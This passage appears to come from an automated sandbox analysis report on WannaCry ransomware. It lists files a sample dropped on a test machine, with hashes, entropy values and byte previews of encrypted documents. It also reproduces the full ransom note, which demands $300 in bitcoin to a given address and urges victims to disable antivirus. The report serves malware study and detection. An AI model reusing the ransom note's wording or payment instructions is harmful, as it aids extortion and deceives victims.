                                                                                                                                                                              SHA-256:3E47B8803EE036066DF9EF422D654CB0789E8AAB68DAADE0086FAE098F2AD023
                                                                                                                                                                              SHA-512:9210BF26FA4B35EF41E2EE573C8B5C14AEE288B8D979E49594F560299F804572D0A3C6AC2DA184FC29BA8E87E07F6184EC3EA2CFE8439395A0C4071FBF80A5CB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....k)l....Y^!"......4....l.Fau ..gK~....&...<.....b>n.[.kW.....q..[.|.....t.+....r.U1...F+p..x...0Ga........F.~G.O.E..mM.L...r...B..a.A..2EY7......$.J.........N..../.W.?W..1.P?.).m/A~...._..?.5#u ........N..]..>.v......q.'..J8Jup..cPTO.S.Bz...P..............R.....J....>.+F..N..x.%.../..Wcx.*.j."..rE..1c...&.......YT.D&.'W(hXs...ubd..C!....|!A..8..!....%.L.).T.sN...^....d.....yQ...:.yc$.. L.5G.....4....cS......x..XkOA....&..c.".]......:C..{O.:.....v.%..7..x.....zygQ..._....:..a.w;t...,$.v..$....#_`...P=.>D/KD........5zAcB...6....Q.i..]...{.....e....k0...S4...tH.....[$......Q.=.=(Zo.}.Z.'.^#............w.R.I...U.#.`Wg..0M.....:q..|."......c7.M.....,...]..i[..8*=o.:c......D.K....[.. .}.TkR.Q.Y0....1TZ8..Vo.......r..N.W... ..V..`L.Lx.*-.....C.kP.G~...Cy-{...........c~z#...~y).S..rZ\..6d.b.@ .....n...'PB>O.....G6~.8.4...C...7.n......[.B?(.*.........v(...Cz....V/..D>-....+^...s..#]...t....r..W......K...0......,.I;.....N.+....|.2..

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8509434690337985
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBr8XZdZLGNC2d7BQUXBmOtsEq4UOWcBonP7OVrff+/2vJIrtz:bk9sdZ4d7RXBtsxdOWbP7OVrWeQz
                                                                                                                                                                              MD5:06EFCE0C88CDE2A942CAC950A8768F4E
                                                                                                                                                                              SHA1:36C3DE15CC1E0B0F9BBB311DFBDCA90DEC5DB561
                                                                                                                                                                              SHA-256:3E47B8803EE036066DF9EF422D654CB0789E8AAB68DAADE0086FAE098F2AD023
                                                                                                                                                                              SHA-512:9210BF26FA4B35EF41E2EE573C8B5C14AEE288B8D979E49594F560299F804572D0A3C6AC2DA184FC29BA8E87E07F6184EC3EA2CFE8439395A0C4071FBF80A5CB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....k)l....Y^!"......4....l.Fau ..gK~....&...<.....b>n.[.kW.....q..[.|.....t.+....r.U1...F+p..x...0Ga........F.~G.O.E..mM.L...r...B..a.A..2EY7......$.J.........N..../.W.?W..1.P?.).m/A~...._..?.5#u ........N..]..>.v......q.'..J8Jup..cPTO.S.Bz...P..............R.....J....>.+F..N..x.%.../..Wcx.*.j."..rE..1c...&.......YT.D&.'W(hXs...ubd..C!....|!A..8..!....%.L.).T.sN...^....d.....yQ...:.yc$.. L.5G.....4....cS......x..XkOA....&..c.".]......:C..{O.:.....v.%..7..x.....zygQ..._....:..a.w;t...,$.v..$....#_`...P=.>D/KD........5zAcB...6....Q.i..]...{.....e....k0...S4...tH.....[$......Q.=.=(Zo.}.Z.'.^#............w.R.I...U.#.`Wg..0M.....:q..|."......c7.M.....,...]..i[..8*=o.:c......D.K....[.. .}.TkR.Q.Y0....1TZ8..Vo.......r..N.W... ..V..`L.Lx.*-.....C.kP.G~...Cy-{...........c~z#...~y).S..rZ\..6d.b.@ .....n...'PB>O.....G6~.8.4...C...7.n......[.B?(.*.........v(...Cz....V/..D>-....+^...s..#]...t....r..W......K...0......,.I;.....N.+....|.2..

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.801593672154118
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:PX4jCrNVCziuvdVw/cp+L4nq7rGYrnSNSEvKR46OtIYM:PX6CxVbLGq7rGY0vKR46BP
                                                                                                                                                                              MD5:CCAB1D0B542EAA84DBC05DB3664B6CAE
                                                                                                                                                                              SHA1:C4745895F62A9AA9700E5C2608CC53A34636A4FD
                                                                                                                                                                              SHA-256:B30DEB27CE09A78DDECE9D06137250C39B5FD7DF11BCF3C1B8F525F6BA53F6A1
                                                                                                                                                                              SHA-512:510006FDE8674EA328F369C5B148F20B3CB602D2BACBC80B91D0346E7FDBEBD0A12A70789C3D53211F310D997F9808F8700B8EDFE65ED1AEAAAA2424033713DF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:e).....*.Jm[.7..,.q~......F.\V.zH_....p..~..#.../..._...{^.........+.+.S..|.P.).`(D.\.......$.qA..^s..Q..dM.h*j.1.=(......oNNG.CM.>..?..D..'.I..Z@..a.^..[q.i.A...^..b%>.. .....8....d.!.a......#..Vl....?...].q.v..V*..AA.Y.[.=.%..X...!.}Fl.co......j.}.c......3.h.U..R.e..L?D..EW....M.C.hS\.?..u.2L.i.'<..4(..P...)..!.....C...u@.=Q....t,.@9y.@....L..g){]....$.G........m..j.O....`.../....E.Z.(P.l..nt.7t..b....C......R.#..m.E..oc.BF.......#.%.oT...>*.....>.k...E..Sq. .G..(.1..x.....:c....XpXR=..=.e...Xby....(z.o...<.j..Q..zP.W.gT..#..].;.q.[.-.*....=...G..+...c.vy.l.y....0....T.]J....t.....6^...3...#.r..t..1=..)a._$ma..%...MZn.MX..*.v...........3.f...H........(<.6.p:..c...=.~.{.A|. ..]w...-\?....../..M..O.....^......U..K.1..k.P.^'.D.c.^.a....._.BE..!...g...{.O.6.f.X@...N._>N........SK......1Sc/...SqZ0.oW$Tv.NL.g$.....#b.[%.!.....Q6..[..0.LX.s.SEN..=Z....,]....d..\..t..5......X....|.k....o......5.....[.,]..<......B....M.F....f8.@.lV.3..r

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.852151790872022
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwT/qOIilHDN6xvLoBX6QnTVUN8cihIt8SDuaqRp1iLGCtuzBWy+g3gVx8n9L:bk8/1IilHRbDTQ6ImwuaqRpoGS8Wy+gj
                                                                                                                                                                              MD5:A69BFA1335CDC4EB013246F651A5049F
                                                                                                                                                                              SHA1:4E7A21E5AED2BFCB0B325DEE266F2D86D6BCA9D4
                                                                                                                                                                              SHA-256:87EC3E4AF937555C3BCC38C27D581A59138B177824E54B9DA6EB165D2BF96E00
                                                                                                                                                                              SHA-512:E974F97C8EBD6D24B6681936703E8C6B555571D984A4E2993F516BBB7764EDCF4EF1C4236BD429A60AECF8BD5C2ACB9EAEE97C179B820FFBFB6CD824E39E0AE3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....;4!...._...Z.W-...6..4Z..O.z.L.<..V.ru.^....m....s......`#..4......C.9..vk.`.....n.D.J..JO.T..........P.R>..6..D...&.).\...H....D.B^D3T...!..y.....{d.reP`..d.y.'Ai...(..&..!.%\..r......\.......|....V....j.'.~V........<,G...$..K.4..~M$q...............@2..&'..d@:..D..b..........5(I.....zF...y...CC....peJ.Nj..9.G..p.cQ.......U....<.v.oO<.H.I.'k..c.T._......).$@..k.O...N.........6..G.y.W.f.2.4..........7+..?.............(c...I.....!....'.'.......0.4I?zM..Ph....X.....~..#...a.p....9.[(&.....@J...mc...J..|R.R..h@...[..._....j.U.+....|....?6`N.$]..t...3......LEH.%.6....G.S..O..K.a..i.......M..&f...j...X.....R..6.4n...v..}....a...3v....q.f..8..S$....x.!_@._&.....v..N....<..............)....1aC.....O?....v..O..e.).a|zX[......M...'....... H.j8.SW..8_..nX,...(.q"jxC'........o.......a....Z....D.<..0....F...[...P. ../Kl.u^d./dnS..d0c-x,]A.>2. A:.1..^.,...b.....7.Q*1.g.s.........Dp5......UK.V'.c...S/C....w],.<{N......5.b.b.2sY..

                                                                                                                                                                              C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.852151790872022
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwT/qOIilHDN6xvLoBX6QnTVUN8cihIt8SDuaqRp1iLGCtuzBWy+g3gVx8n9L:bk8/1IilHRbDTQ6ImwuaqRpoGS8Wy+gj
                                                                                                                                                                              MD5:A69BFA1335CDC4EB013246F651A5049F
                                                                                                                                                                              SHA1:4E7A21E5AED2BFCB0B325DEE266F2D86D6BCA9D4
                                                                                                                                                                              SHA-256:87EC3E4AF937555C3BCC38C27D581A59138B177824E54B9DA6EB165D2BF96E00
                                                                                                                                                                              SHA-512:E974F97C8EBD6D24B6681936703E8C6B555571D984A4E2993F516BBB7764EDCF4EF1C4236BD429A60AECF8BD5C2ACB9EAEE97C179B820FFBFB6CD824E39E0AE3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....;4!...._...Z.W-...6..4Z..O.z.L.<..V.ru.^....m....s......`#..4......C.9..vk.`.....n.D.J..JO.T..........P.R>..6..D...&.).\...H....D.B^D3T...!..y.....{d.reP`..d.y.'Ai...(..&..!.%\..r......\.......|....V....j.'.~V........<,G...$..K.4..~M$q...............@2..&'..d@:..D..b..........5(I.....zF...y...CC....peJ.Nj..9.G..p.cQ.......U....<.v.oO<.H.I.'k..c.T._......).$@..k.O...N.........6..G.y.W.f.2.4..........7+..?.............(c...I.....!....'.'.......0.4I?zM..Ph....X.....~..#...a.p....9.[(&.....@J...mc...J..|R.R..h@...[..._....j.U.+....|....?6`N.$]..t...3......LEH.%.6....G.S..O..K.a..i.......M..&f...j...X.....R..6.4n...v..}....a...3v....q.f..8..S$....x.!_@._&.....v..N....<..............)....1aC.....O?....v..O..e.).a|zX[......M...'....... H.j8.SW..8_..nX,...(.q"jxC'........o.......a....Z....D.<..0....F...[...P. ../Kl.u^d./dnS..d0c-x,]A.>2. A:.1..^.,...b.....7.Q*1.g.s.........Dp5......UK.V'.c...S/C....w],.<{N......5.b.b.2sY..

                                                                                                                                                                              C:\Users\user\Documents\NYMMPCEIMA.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.818256162797725
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Fs4ZtbyTy+sjldzuwgKGrHuDqSmMm6znZZNTGGW2yqyWDuRIsvX:F7ZbZdawIrOyenZZNT3VylIsv
                                                                                                                                                                              MD5:B3B296610DDB205E18579431A736E78E
                                                                                                                                                                              SHA1:C59709E04B80D106E168F6C14ED9B662A5F0C564
                                                                                                                                                                              SHA-256:240491DA498AE9A35FBD7F8BB614E320D523964B376023B9BFE202E8E1CF06ED
                                                                                                                                                                              SHA-512:6AA19F383C7945EE6C83B753EF0DA0F4FCB57EE62F3EE915A94785A85F6ACB5B66E6B5BC3397D4FC3859A18909AAC00D9AE1A6F5A0966A4C6E46A8B9787FE5A1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:k.WP..L.......r.........I.....&.!..V.....M..s..,.7..../6.U2Q.V..X...Ct.d.k.{0./x..1. ...q........H/w...Qwx.7..I.%.yF....%.Q..(X.."I.+s.u8.].a..MFa\d..._h.l...!.2...+<."s..c.......!S..k.K(.U..&&;..4..c.9.........?X..yc.o.......K.(...\.@x........6.........!.....r.....,.(....4.'.8_V.RC....;.|z.].....(.Q.4i.J....*....X.H.8..t..h/.~...%e.e...-...(..W..=..5V...UP...d.l./...v.-.O...R..7b...1..?.dn...Rz....h..q..3...g.?.W...(.........b`v...l.F.4....Y...9...9.#...q'.>.Zh.M....pl.....``..HUj.D..i.M..S....'....k..D.......#[.c..juD..TT..S].fa..p........H.1..{..p.h....G..L.K..&G.a...Q...!.<._m......Z.O_......<c;.Vo..$...v6.}`.Pt#kt..RFk.{Ei.L........W8h..s..i.Q.r.@.[...~.yM-...fyVk.d..eD9T..(..1[.pT.[N..8&:lj..r....... .....Z..=......d.I<f......(...J.}.H......( .SEB!.4...B.`.0..!2..r8.."...A..6..z...:....Q.S.AS..H...4.nM(.H`....:....T.,.I..`..t.O_.!ES....&.&...A..xI<o..z6TT4...S..._.?.tV.V$.s.Nym.}.....Y...F..5..7=.-.........O.'H.'..E.6.

                                                                                                                                                                              C:\Users\user\Documents\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.832147268598463
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkEfmrRn0bdVCSKPe1/AK4tEzEqxjSlvP0t54vfjLU47cvmF0t6IZ1z3esR:bkpN0XX1/AKE6UEUji+Kt6IZ5OsR
                                                                                                                                                                              MD5:B35F66E4A7B93789C58A851F545FAB54
                                                                                                                                                                              SHA1:BDD03A4EDAC554F1891553A8536610B999D09633
                                                                                                                                                                              SHA-256:4ED24AC8EA434462E1356C79A80AF941304C542DE3078ECAB4A6CFBA9A6D9192
                                                                                                                                                                              SHA-512:41DE9EB2925202B20EB8789016E25488BD30559F261FDC90D75FA89927F716B5B8291971856CAF4232521C639CE4900134198596AA6EB8E5F38B021AFC874099
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........y...'.'.#..i.*.. ..k0......M.l.@8c.7jvaD.p.Basi.-..Llv@.t...I....Q....v$q..GM.Z......H.B.P..$..L^a.]......=.`x.J.I.....Ug.}p^.P.B....^I..{PL[D...{..5.LEr.,..Er...l.2v..W/.]........N......L..7<.l.<....~?....J.G.....`.....Cz.[.....................k5..=8P........R..q B..b.=)Kf@2.<..X:E..q.l...r.\.]S..3.pyE+.L-.{Z\...{+.M6.u..../.#.("'. mU.....j.:B.d..$.f.t...c.Fd...lp.....4..j..v.T.m.My^w......,..7...~..%..2..;U.\........s.TE......~....."Ac.....n`Kb....Xz`.....A..w...?..v..0S.g.../......L+.G.K. [.)..yq.r7.?.......L)!s.D.'....I....T........qU.......8......y..O.Q....m....u.jtl........8.x..Agf....i4...6.nx+_1Sc..M.....!......H..[..".V......l..'{.I....P}...d7my..Y6..U0.*.A0@...H.."....)h...N..g.@..s.n....z..%.wp.)..........K<+Tg(....LX...Q...........vn<,....`..0U....=c.=V..|...8...X.@}..{Men.8......C..j.t.-..|7.(.......R.C?......V..a...J.4.U<.Ku.s{C ._[],P...(*L.v..,....C.hC=?.I..V..q.ta.'RB.M.p.bF.....+............'.d

                                                                                                                                                                              C:\Users\user\Documents\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.832147268598463
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkEfmrRn0bdVCSKPe1/AK4tEzEqxjSlvP0t54vfjLU47cvmF0t6IZ1z3esR:bkpN0XX1/AKE6UEUji+Kt6IZ5OsR
                                                                                                                                                                              MD5:B35F66E4A7B93789C58A851F545FAB54
                                                                                                                                                                              SHA1:BDD03A4EDAC554F1891553A8536610B999D09633
                                                                                                                                                                              SHA-256:4ED24AC8EA434462E1356C79A80AF941304C542DE3078ECAB4A6CFBA9A6D9192
                                                                                                                                                                              SHA-512:41DE9EB2925202B20EB8789016E25488BD30559F261FDC90D75FA89927F716B5B8291971856CAF4232521C639CE4900134198596AA6EB8E5F38B021AFC874099
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........y...'.'.#..i.*.. ..k0......M.l.@8c.7jvaD.p.Basi.-..Llv@.t...I....Q....v$q..GM.Z......H.B.P..$..L^a.]......=.`x.J.I.....Ug.}p^.P.B....^I..{PL[D...{..5.LEr.,..Er...l.2v..W/.]........N......L..7<.l.<....~?....J.G.....`.....Cz.[.....................k5..=8P........R..q B..b.=)Kf@2.<..X:E..q.l...r.\.]S..3.pyE+.L-.{Z\...{+.M6.u..../.#.("'. mU.....j.:B.d..$.f.t...c.Fd...lp.....4..j..v.T.m.My^w......,..7...~..%..2..;U.\........s.TE......~....."Ac.....n`Kb....Xz`.....A..w...?..v..0S.g.../......L+.G.K. [.)..yq.r7.?.......L)!s.D.'....I....T........qU.......8......y..O.Q....m....u.jtl........8.x..Agf....i4...6.nx+_1Sc..M.....!......H..[..".V......l..'{.I....P}...d7my..Y6..U0.*.A0@...H.."....)h...N..g.@..s.n....z..%.wp.)..........K<+Tg(....LX...Q...........vn<,....`..0U....=c.=V..|...8...X.@}..{Men.8......C..j.t.-..|7.(.......R.C?......V..a...J.4.U<.Ku.s{C ._[],P...(*L.v..,....C.hC=?.I..V..q.ta.'RB.M.p.bF.....+............'.d

                                                                                                                                                                              C:\Users\user\Documents\Outlook Files\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Documents\Outlook Files\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):271360
                                                                                                                                                                              Entropy (8bit):7.999298250083638
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:W0ir2kU9UbYYzXgtcJ8WW2DWJ1B/fiouROXhn0ReH7ZKht10z:Wjf1p8WPDWJbxuwN8X1M
                                                                                                                                                                              MD5:1FCEF3E383D4381EBADCEF2ADD7FAC0C
                                                                                                                                                                              SHA1:70D1449F0D355422F363F3E65B0BE8E129B071F4
                                                                                                                                                                              SHA-256:C3556E7346F8240EF7F52A9E94ED8683828B0366E6DD8EE41F042278250EF07F
                                                                                                                                                                              SHA-512:FFF453E7101246F7D031FF58140C06B464A78652C43995A925D19EF9AEDD8E9F7556DAF679A1E46B518AE1AEAD7B8E061F6B864A0F846CEE64FF561CCA7F3E47
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:....B.'..s.b...s.#.._..K\.'PN.t.w..,X..:tQ...*......#.\M..2..&>..:G...0W.........6.....x..O$...;e.2........:.4.....O$.LXW.J..3..a.L...XF..I..|1V.7hU....F..xXj.r.O.'.HE.o?.n.`.Q.t@.....lB....q.............r..$..z ..o.._.@6....~..^dS..Jq9......3CU-!......X+n...&.M..Y...r-..Q...y..EH.m0Ho.v.t....R...[.!...T(;...YM..6y../..rNg.p./.....J05...n|.-.n7.....]..BX.. ....X....u{.n..s.....b......h..}iu...v#...SU.s..f.....n..i.."......1..H.Q....M............)....z<.7..$=....l.lh*.....O...d.#..Y.`..}..p..............3..a...-$O.mGU.....P....e.t.;..]..G.....:....{.<.\.+...O..i...g.....w9r...^...y6a.e$2.g.....8.....D5..., ....n....]3..`.."........zc.;.B.....u/..?|?<....Z].....),%\7.\?..sro..$}49~.ND.VG.^.^..3~.....>.......F...1.|%B(\.B9.....{.......}..,...9..=Vvg...\.7...3..X.g.'..vi...r.4Iv.;..{XX...VZ..YjW.>..JJy6z....8-Ew..L.|.eh.D...C.Y..i.F.....].s.:...]..!!p.7........#`\.w..?.r...P..:.Y(...^.X4.n.%.+&1(_.Vo..S..:s..PqX&...?........0..(....t

                                                                                                                                                                              C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):271640
                                                                                                                                                                              Entropy (8bit):7.999348060005384
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:iWnz7f1kNksbyFooOsFe+mFY2it+FErUHvKLOzs/32cQkwm:iQz79kNkGyFLOsFe+Z2it+FErvx2cQxm
                                                                                                                                                                              MD5:071D68DE5EE519CEE80F85E8F6656D0F
                                                                                                                                                                              SHA1:40A40C7D137C782FAEDE262E78E11D09C9893B73
                                                                                                                                                                              SHA-256:7E6C8758B5C4DFEEB7B9A8F3066B6B38A4B982730FB3A07591FD8A0D5436D6DF
                                                                                                                                                                              SHA-512:1AA13ECEF7CD0D375E4B242A918D1E6B41CD605714AE8E9C97C616CDE39A2F5E91348D4C8A1CA45406037A013E90F603792C0BA91903B2E68EB1C26452BACE58
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6..'R.|...E...^..@.w...G..]a*......x.x.....mn..t..S....0.}..^...Q.G.<.h.....%TF..;.u^e.?....!0.l..V=@...h!{./..Es4E.&D....`AM.B....M....Z.........v...W...F....|>&J".....;......Z."...Q...Ex...A.-.....YT.4.N.z.O.F......vi....o..Z.Y..!...x7.S......$......"..........KA.y`/&=..(.O.7aV...O..8...-M......Y<.Pd1....c-.f.._..N...P...V...]h..E...g..J&....Vt..ev....S......!.....f.p/H..-n..;1> ...E.z...d9..Z{......B3'A......3...!"....an........>..c..v...HQi.._.....w..|VM..k..W...p........G...._..6..=...A<)_...z.jM...z.i. ......8#......q1Vn$.&....C.r..?...)....!.B.b.ps..........Mx..c}...w..)..R4F....|j$..o..g..9]J.xw.P..Jh.v.t.{......R+.c..&2..Jy.$..c?.....4..C..0..$sW..21...md.'....rf_.DqS..W...S(..c..7..`. ...{...V.A+.T@.b=C......^....:.g)..jH..0.....S...gd.t.H;......].j#.5D.!.).:7.Kz.....6#..GnV5.....b.G...?..4S....Ea..`..i.S..I.P..n.n..Zh..a.Vu..U....[..<b....).Q\..j..|^..-.6..l..q.G.j....V.K.5.<6..F....<.gRx4...w/.B_.b-.

                                                                                                                                                                              C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):271640
                                                                                                                                                                              Entropy (8bit):7.999348060005384
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:iWnz7f1kNksbyFooOsFe+mFY2it+FErUHvKLOzs/32cQkwm:iQz79kNkGyFLOsFe+Z2it+FErvx2cQxm
                                                                                                                                                                              MD5:071D68DE5EE519CEE80F85E8F6656D0F
                                                                                                                                                                              SHA1:40A40C7D137C782FAEDE262E78E11D09C9893B73
                                                                                                                                                                              SHA-256:7E6C8758B5C4DFEEB7B9A8F3066B6B38A4B982730FB3A07591FD8A0D5436D6DF
                                                                                                                                                                              SHA-512:1AA13ECEF7CD0D375E4B242A918D1E6B41CD605714AE8E9C97C616CDE39A2F5E91348D4C8A1CA45406037A013E90F603792C0BA91903B2E68EB1C26452BACE58
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6..'R.|...E...^..@.w...G..]a*......x.x.....mn..t..S....0.}..^...Q.G.<.h.....%TF..;.u^e.?....!0.l..V=@...h!{./..Es4E.&D....`AM.B....M....Z.........v...W...F....|>&J".....;......Z."...Q...Ex...A.-.....YT.4.N.z.O.F......vi....o..Z.Y..!...x7.S......$......"..........KA.y`/&=..(.O.7aV...O..8...-M......Y<.Pd1....c-.f.._..N...P...V...]h..E...g..J&....Vt..ev....S......!.....f.p/H..-n..;1> ...E.z...d9..Z{......B3'A......3...!"....an........>..c..v...HQi.._.....w..|VM..k..W...p........G...._..6..=...A<)_...z.jM...z.i. ......8#......q1Vn$.&....C.r..?...)....!.B.b.ps..........Mx..c}...w..)..R4F....|j$..o..g..9]J.xw.P..Jh.v.t.{......R+.c..&2..Jy.$..c?.....4..C..0..$sW..21...md.'....rf_.DqS..W...S(..c..7..`. ...{...V.A+.T@.b=C......^....:.g)..jH..0.....S...gd.t.H;......].j#.5D.!.).:7.Kz.....6#..GnV5.....b.G...?..4S....Ea..`..i.S..I.P..n.n..Zh..a.Vu..U....[..<b....).Q\..j..|^..-.6..l..q.G.j....V.K.5.<6..F....<.gRx4...w/.B_.b-.

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
